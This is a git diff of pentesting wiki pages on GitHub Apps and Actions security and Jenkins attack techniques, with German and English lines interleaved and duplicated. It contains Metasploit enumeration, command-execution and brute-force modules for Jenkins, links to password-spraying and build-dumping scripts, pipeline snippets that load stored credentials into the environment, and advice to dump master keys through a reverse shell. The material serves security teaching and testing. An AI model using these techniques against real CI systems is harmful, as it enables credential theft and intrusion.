- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
### Github Applications
Github Applications können Berechtigungen verlangen, um **auf deine Github-Informationen zuzugreifen oder dich zu impersonifizieren**, um bestimmte Aktionen auf bestimmten Ressourcen durchzuführen. Bei Github Apps musst du angeben, welche Repositories die App zugreifen darf.
Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to.
- Um eine GitHub App zu installieren, musst du **Organisation owner** sein oder Admin-Rechte in einem Repository haben.
- Die GitHub App sollte **mit einem persönlichen Account oder einer Organisation verbunden sein**.
- Du kannst deine eigene Github application in [https://github.com/settings/apps](https://github.com/settings/apps) erstellen.
- Du kannst alle **Github applications sehen, die Zugriff auf deinen Account haben** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
- Das sind die **API-Endpunkte für Github Applications**: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Abhängig von den Berechtigungen der App kann sie einige davon nutzen.
- Installierte Apps in einer **Organisation** kannst du in _https://github.com/organizations/\<org_name>/settings/installations_ sehen.
- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
- The GitHub App should **connect to a personal account or an organisation**.
- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
- You can see installed apps in an **organization** in _https://github.com/organizations/\<org_name>/settings/installations_
Einige Sicherheitsempfehlungen:
Some security recommendations:
- Eine GitHub App sollte **unabhängig von einem User handeln** (es sei denn, die App verwendet ein [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) Token). Um user-to-server Access Tokens sicherer zu machen, kannst du Access Tokens verwenden, die nach 8 Stunden verfallen, und ein Refresh Token, das gegen ein neues Access Token ausgetauscht werden kann. Mehr dazu unter "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
- Stelle sicher, dass die GitHub App mit **konkreten Repositories** integriert ist.
- Die GitHub App sollte **mit einem persönlichen Account oder einer Organisation verbunden sein**.
- Erwarte nicht, dass die GitHub App alles weiß und alles tun kann, was ein User tun kann.
- **Benutze keine GitHub App**, wenn du nur einen "Login with GitHub"-Dienst brauchst. Eine GitHub App kann jedoch einen [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) nutzen, um User einzuloggen _und_ weitere Dinge zu tun.
- Baue keine GitHub App, wenn du _nur_ als GitHub-User agieren und alles tun möchtest, was dieser User kann.
- Wenn du deine App mit GitHub Actions nutzt und Workflow-Dateien ändern möchtest, musst du im Namen des Users mit einem OAuth-Token authentifizieren, das den `workflow`-Scope enthält. Der User muss Admin- oder Schreibrechte für das Repository haben, das die Workflow-Datei enthält. Mehr dazu unter "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
- **Mehr** in [hier](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
- Make sure the GitHub App integrates with **specific repositories**.
- The GitHub App should **connect to a personal account or an organisation**.
- Don't expect the GitHub App to know and do everything a user can.
- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
### Github Actions
Das **ist keine Methode, sich bei github zu authentifizieren**, aber eine **malicious** Github Action könnte **unauthorised Zugriff auf github** erlangen und **je nach den der Action gegebenen Privilegien** könnten verschiedene **Angriffe** durchgeführt werden. Siehe unten für mehr Informationen.
This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information.
## Git Actions
Git Actions ermöglichen die Automatisierung der **Ausführung von Code, wenn ein Event eintritt**. Üblicherweise ist der ausgeführte Code **irgendwie mit dem Code des Repositories verbunden** (z. B. ein Docker-Container bauen oder prüfen, dass der PR keine Secrets enthält).
Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets).
### Configuration
In _https://github.com/organizations/\<org_name>/settings/actions_ ist es möglich, die **Konfiguration der Github Actions** für die Organisation zu überprüfen.
In _https://github.com/organizations/\<org_name>/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
Es ist möglich, die Nutzung von Github Actions komplett zu verbieten, **alle Github Actions zu erlauben** oder nur bestimmte Actions zuzulassen.
It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
Es ist außerdem möglich zu konfigurieren, **wer die Ausführung einer Github Action genehmigen muss** und welche **Berechtigungen das GITHUB_TOKEN** einer Github Action bei Ausführung hat.
It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run.
### Git Secrets
Github Actions benötigen in der Regel irgendwelche Secrets, um mit Github oder Drittanbieter-Anwendungen zu interagieren. Um zu vermeiden, dass diese im Klartext im Repo stehen, erlaubt Github, sie als **Secrets** zu speichern.
Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**.
These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like:
Diese Secrets können **für das Repo oder für die gesamte Organisation** konfiguriert werden. Dann, damit die **Action auf das Secret zugreifen kann**, musst du es folgendermaßen deklarieren:
```yaml
steps:
- name: Hello world action
with: # Set the secret as an input
super_secret:${{ secrets.SuperSecret }}
env: # Or as an environment variable
super_secret:${{ secrets.SuperSecret }}
- name: Hello world action
with: # Set the secret as an input
super_secret:${{ secrets.SuperSecret }}
env: # Or as an environment variable
super_secret:${{ secrets.SuperSecret }}
```
#### Beispiel mit Bash <a href="#example-using-bash" id="example-using-bash"></a>
#### Example using Bash <a href="#example-using-bash" id="example-using-bash"></a>
```yaml
steps:
- shell: bash
env: SUPER_SECRET:${{ secrets.SuperSecret }}
run: |
example-command "$SUPER_SECRET"
- shell: bash
env: SUPER_SECRET:${{ secrets.SuperSecret }}
run: |
example-command "$SUPER_SECRET"
```
> [!WARNING]
> Secrets **können nur von den Github Actions** abgerufen werden, die sie deklariert haben.
>
> Sobald sie im repo oder in der organization konfiguriert sind, **können Benutzer von github danach nicht mehr auf sie zugreifen**, sie können sie nur **ändern**.
> Secrets **can only be accessed from the Github Actions** that have them declared.
Deshalb ist der **einzige Weg, github secrets zu stehlen, Zugriff auf die Maschine zu haben, die die Github Action ausführt** (in diesem Szenario kannst du nur auf die für die Action deklarierten secrets zugreifen).
> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**.
Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
### Git Environments
Github erlaubt das Erstellen von **environments**, in denen du **secrets** speichern kannst. Dann kannst du der github action Zugriff auf die secrets innerhalb der environment geben mit etwas wie:
Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like:
```yaml
jobs:
deployment:
runs-on: ubuntu-latest
environment: env_name
deployment:
runs-on: ubuntu-latest
environment: env_name
```
You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
Additionally, environment protections include:
- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper foureyes principle on the approval itself.
@@ -202,7 +208,7 @@ The way to find which **Github Actions are being executed in non-github infrastr
It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the Service-Account** the machine is running with.
If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
### Git Action Compromise
@@ -211,7 +217,7 @@ If all actions (or a malicious action) are allowed a user could use a **Github a
> [!CAUTION]
> A **malicious Github Action** run could be **abused** by the attacker to:
>
> - **Steal all the Secrets** the Action has access to
> - **Steal all the secrets** the Action has access to
> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
@@ -227,12 +233,12 @@ The **branch protections of a repository** can be found in _https://github.com/\
Different protections can be applied to a branch (like to master):
- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
- **Require status checks to pass before merging.** Some checks need to pass before being able to merge the commit (like a GitHub App reporting SAST results). Tip: bind required checks to a specific GitHub App; otherwise any app could spoof the check via the Checks API, and many bots accept skip directives (e.g., "@bot-name skip").
- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
- **Require signed commits**. The commits need to be signed.
@@ -267,3 +273,5 @@ This chain prevents a single collaborator from retagging or force-publishing rel
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,290 +1,312 @@
# Jenkins-Sicherheit
# Jenkins Security
{{#include ../../banners/hacktricks-training.md}}
## Grundlegende Informationen
## Basic Information
Jenkins ist ein Tool, das eine einfache Methode bietet, um eine **Continuous Integration** oder **Continuous Delivery** (CI/CD) Umgebung für fast **jede** Kombination von **Programmiersprachen** und Quellcode-Repositories mithilfe von Pipelines einzurichten. Darüber hinaus automatisiert es verschiedene routinemäßige Entwicklungsaufgaben. Während Jenkins die **Notwendigkeit, Skripte für einzelne Schritte zu erstellen**, nicht beseitigt, bietet es eine schnellere und robustere Möglichkeit, die gesamte Abfolge von Build-, Test- und Bereitstellungstools zu integrieren, als man sie leicht manuell erstellen kann.
Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually.
{{#ref}}
basic-jenkins-information.md
{{#endref}}
## Unauthentifizierte Enumeration
## Unauthenticated Enumeration
In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
Um nach interessanten Jenkins-Seiten ohne Authentifizierung zu suchen, wie (_/people_ oder _/asynchPeople_, dies listet die aktuellen Benutzer auf), können Sie Folgendes verwenden:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
Überprüfen Sie, ob Sie Befehle ausführen können, ohne sich authentifizieren zu müssen:
Check if you can execute commands without needing authentication:
```
msf> use auxiliary/scanner/http/jenkins_command
```
Ohne Anmeldeinformationen können Sie im _**/asynchPeople/**_ Pfad oder _**/securityRealm/user/admin/search/index?q=**_ nach **Benutzernamen** suchen.
Sie können möglicherweise die Jenkins-Version über den Pfad _**/oops**_ oder _**/error**_ abrufen.
Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
### Bekannte Schwachstellen
You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
![](<../../images/image (146).png>)
### Known Vulnerabilities
{{#ref}}
https://github.com/gquere/pwn_jenkins
{{#endref}}
## Anmeldung
## Login
In den grundlegenden Informationen können Sie **alle Möglichkeiten zur Anmeldung in Jenkins** überprüfen:
In the basic information you can check **all the ways to login inside Jenkins**:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
### Registrierung
### Register
Sie werden in der Lage sein, Jenkins-Instanzen zu finden, die **es Ihnen ermöglichen, ein Konto zu erstellen und sich darin anzumelden. So einfach ist das.**
You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**
### **SSO-Anmeldung**
### **SSO Login**
Wenn **SSO** **Funktionalität**/**Plugins** vorhanden sind, sollten Sie versuchen, sich mit einem Testkonto (d.h. einem Test-**Github/Bitbucket-Konto**) in die Anwendung einzuloggen. Trick von [**hier**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
### Bruteforce
**Jenkins** hat keine **Passwortrichtlinie** und keine **Minderung von Benutzernamen-Bruteforce**. Es ist wichtig, **Benutzer zu bruteforcen**, da **schwache Passwörter** oder **Benutzernamen als Passwörter** verwendet werden können, sogar **umgekehrte Benutzernamen als Passwörter**.
**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**.
```
msf> use auxiliary/scanner/http/jenkins_login
```
### Passwort-Spraying
Verwenden Sie [dieses Python-Skript](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) oder [dieses PowerShell-Skript](https://github.com/chryzsh/JenkinsPasswordSpray).
### Password spraying
### IP-Whitelisting-Umgehung
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
Viele Organisationen kombinieren **SaaS-basierte Quellcodeverwaltungssysteme (SCM)** wie GitHub oder GitLab mit einer **internen, selbst gehosteten CI**-Lösung wie Jenkins oder TeamCity. Dieses Setup ermöglicht es CI-Systemen, **Webhook-Ereignisse von SaaS-Quellcodeanbietern** zu **empfangen**, hauptsächlich um Pipeline-Jobs auszulösen.
### IP Whitelisting Bypass
Um dies zu erreichen, **whitelisten** Organisationen die **IP-Bereiche** der **SCM-Plattformen**, die ihnen den Zugriff auf das **interne CI-System** über **Webhooks** ermöglichen. Es ist jedoch wichtig zu beachten, dass **jeder** ein **Konto** auf GitHub oder GitLab erstellen und es so konfigurieren kann, dass es **einen Webhook auslöst**, was potenziell Anfragen an das **interne CI-System** senden kann.
Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs.
Überprüfen Sie: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**.
## Interne Jenkins-Missbräuche
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
In diesen Szenarien gehen wir davon aus, dass Sie ein gültiges Konto haben, um auf Jenkins zuzugreifen.
## Internal Jenkins Abuses
In these scenarios we are going to suppose you have a valid account to access Jenkins.
> [!WARNING]
> Abhängig von dem in Jenkins konfigurierten **Autorisierungs**mechanismus und den Berechtigungen des kompromittierten Benutzers **könnten Sie in der Lage sein oder nicht, die folgenden Angriffe durchzuführen.**
> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.**
Für weitere Informationen überprüfen Sie die grundlegenden Informationen:
For more information check the basic information:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
### Auflisten von Benutzern
### Listing users
Wenn Sie auf Jenkins zugegriffen haben, können Sie andere registrierte Benutzer unter [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) auflisten.
If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
### Dumpen von Builds, um Klartextgeheimnisse zu finden
### Dumping builds to find cleartext secrets
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
Verwenden Sie [dieses Skript](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py), um die Konsolenausgaben von Builds und Umgebungsvariablen zu dumpen, um hoffentlich Klartextgeheimnisse zu finden.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
### **Diebstahl von SSH-Anmeldeinformationen**
Wenn der kompromittierte Benutzer **ausreichende Berechtigungen hat, um einen neuen Jenkins-Knoten zu erstellen/zu ändern** und SSH-Anmeldeinformationen bereits gespeichert sind, um auf andere Knoten zuzugreifen, könnte er **diese Anmeldeinformationen stehlen**, indem er einen Knoten erstellt/ändert und **einen Host festlegt, der die Anmeldeinformationen aufzeichnet**, ohne den Hostschlüssel zu überprüfen:
### **Stealing SSH Credentials**
If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
![](<../../images/image (218).png>)
Sie finden normalerweise Jenkins-SSH-Anmeldeinformationen in einem **globalen Anbieter** (`/credentials/`), sodass Sie sie auch dumpen können, wie Sie es mit anderen Geheimnissen tun würden. Weitere Informationen im [**Abschnitt Geheimnisse dumpen**](./#dumping-secrets).
You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](#dumping-secrets).
### **RCE in Jenkins**
Einen **Shell-Zugang zum Jenkins-Server** zu erhalten, gibt dem Angreifer die Möglichkeit, alle **Geheimnisse** und **Umgebungsvariablen** zu leaken und **andere Maschinen** im selben Netzwerk zu **exploiten** oder sogar **Cloud-Anmeldeinformationen zu sammeln**.
Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
Standardmäßig wird Jenkins **als SYSTEM** ausgeführt. Das Kompromittieren von Jenkins gibt dem Angreifer **SYSTEM-Berechtigungen**.
By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
### **RCE Erstellen/Ändern eines Projekts**
### **RCE Creating/Modifying a project**
Das Erstellen/Ändern eines Projekts ist eine Möglichkeit, RCE über den Jenkins-Server zu erhalten:
Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}
### **RCE Ausführen eines Groovy-Skripts**
### **RCE Execute Groovy script**
Sie können auch RCE erhalten, indem Sie ein Groovy-Skript ausführen, was möglicherweise stealthier ist als das Erstellen eines neuen Projekts:
You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}
### RCE Erstellen/Ändern einer Pipeline
### RCE Creating/Modifying Pipeline
Sie können auch **RCE erhalten, indem Sie eine Pipeline erstellen/ändern**:
You can also get **RCE by creating/modifying a pipeline**:
{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## Pipeline-Ausnutzung
## Pipeline Exploitation
Um Pipelines auszunutzen, müssen Sie weiterhin Zugriff auf Jenkins haben.
To exploit pipelines you still need to have access to Jenkins.
### Build-Pipelines
### Build Pipelines
**Pipelines** können auch als **Build-Mechanismus in Projekten** verwendet werden. In diesem Fall kann eine **Datei im Repository** konfiguriert werden, die die Pipeline-Syntax enthält. Standardmäßig wird `/Jenkinsfile` verwendet:
**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:
![](<../../images/image (127).png>)
Es ist auch möglich, **Pipeline-Konfigurationsdateien an anderen Orten** zu speichern (zum Beispiel in anderen Repositories), um den **Zugriff** auf das Repository und den Zugriff auf die Pipeline **zu trennen**.
It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
Wenn ein Angreifer **Schreibzugriff auf diese Datei hat**, kann er sie **ändern** und die Pipeline **potenziell auslösen**, ohne überhaupt Zugriff auf Jenkins zu haben.\
Es ist möglich, dass der Angreifer **einige Branch-Schutzmaßnahmen umgehen** muss (je nach Plattform und Benutzerberechtigungen könnten diese umgangen werden oder nicht).
If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).
Die häufigsten Auslöser zum Ausführen einer benutzerdefinierten Pipeline sind:
The most common triggers to execute a custom pipeline are:
- **Pull-Request** an den Hauptbranch (oder potenziell an andere Branches)
- **Push an den Hauptbranch** (oder potenziell an andere Branches)
- **Aktualisierung des Hauptbranches** und Warten, bis er irgendwie ausgeführt wird
- **Pull request** to the main branch (or potentially to other branches)
- **Push to the main branch** (or potentially to other branches)
- **Update the main branch** and wait until it's executed somehow
> [!NOTE]
> Wenn Sie ein **externer Benutzer** sind, sollten Sie nicht erwarten, einen **PR zum Hauptbranch** des Repos eines **anderen Benutzers/Organisation** zu erstellen und **die Pipeline auszulösen**... aber wenn es **schlecht konfiguriert** ist, könnten Sie Unternehmen vollständig **kompromittieren, nur indem Sie dies ausnutzen**.
> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
### Pipeline RCE
Im vorherigen RCE-Abschnitt wurde bereits eine Technik angegeben, um [**RCE durch Ändern einer Pipeline zu erhalten**](./#rce-creating-modifying-pipeline).
In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline).
### Überprüfen von Umgebungsvariablen
### Checking Env variables
It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
Es ist möglich, **Klartext-Umgebungsvariablen** für die gesamte Pipeline oder für spezifische Phasen zu deklarieren. Diese Umgebungsvariablen **sollten keine sensiblen Informationen enthalten**, aber ein Angreifer könnte immer **alle Pipeline**-Konfigurationen/Jenkinsfiles überprüfen:
```bash
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
```
### Dumping secrets
Für Informationen darüber, wie Geheimnisse normalerweise von Jenkins behandelt werden, siehe die grundlegenden Informationen:
For information about how are secrets usually treated by Jenkins check out the basic information:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
Anmeldeinformationen können **globalen Anbietern** (`/credentials/`) oder **spezifischen Projekten** (`/job/<project-name>/configure`) zugeordnet werden. Daher müssen Sie, um alle zu exfiltrieren, **mindestens alle Projekte** kompromittieren, die Geheimnisse enthalten, und benutzerdefinierte/vergiftete Pipelines ausführen.
Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job/<project-name>/configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines.
There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**:
Es gibt ein weiteres Problem: Um ein **Geheimnis innerhalb der env** einer Pipeline zu erhalten, müssen Sie **den Namen und den Typ des Geheimnisses** kennen. Wenn Sie beispielsweise versuchen, ein **`usernamePassword`** **Geheimnis** als **`string`** **Geheimnis** zu **laden**, erhalten Sie diesen **Fehler**:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
Hier ist die Möglichkeit, einige gängige Geheimnisarten zu laden:
Here you have the way to load some common secret types:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
sh '''
env #Search for USERNAME and PASS
'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
sh '''
env #Search for SECRET
'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
sh '''
env # Search for USERPASS
'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
```
Am Ende dieser Seite können Sie **alle Arten von Anmeldeinformationen finden**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
> Der beste Weg, um **alle Geheimnisse auf einmal zu dumpen**, besteht darin, die **Jenkins**-Maschine zu **kompromittieren** (zum Beispiel einen Reverse-Shell im **eingebauten Knoten** auszuführen) und dann die **Master-Schlüssel** und die **verschlüsselten Geheimnisse** zu **leaken** und sie offline zu entschlüsseln.\
> Mehr dazu im Abschnitt [Nodes & Agents](./#nodes-and-agents) und im Abschnitt [Post Exploitation](./#post-exploitation).
> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
> More on how to do this in the [Nodes & Agents section](#nodes-and-agents) and in the [Post Exploitation section](#post-exploitation).
### Trigger
### Triggers
Aus [den Docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Die `triggers`-Direktive definiert die **automatisierten Möglichkeiten, wie die Pipeline erneut ausgelöst werden sollte**. Für Pipelines, die mit einer Quelle wie GitHub oder BitBucket integriert sind, sind `triggers` möglicherweise nicht erforderlich, da eine webhook-basierte Integration wahrscheinlich bereits vorhanden ist. Die derzeit verfügbaren Trigger sind `cron`, `pollSCM` und `upstream`.
From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.
Cron example:
Cron-Beispiel:
```bash
triggers { cron('H */4 * * 1-5') }
```
Überprüfen Sie **andere Beispiele in den Dokumenten**.
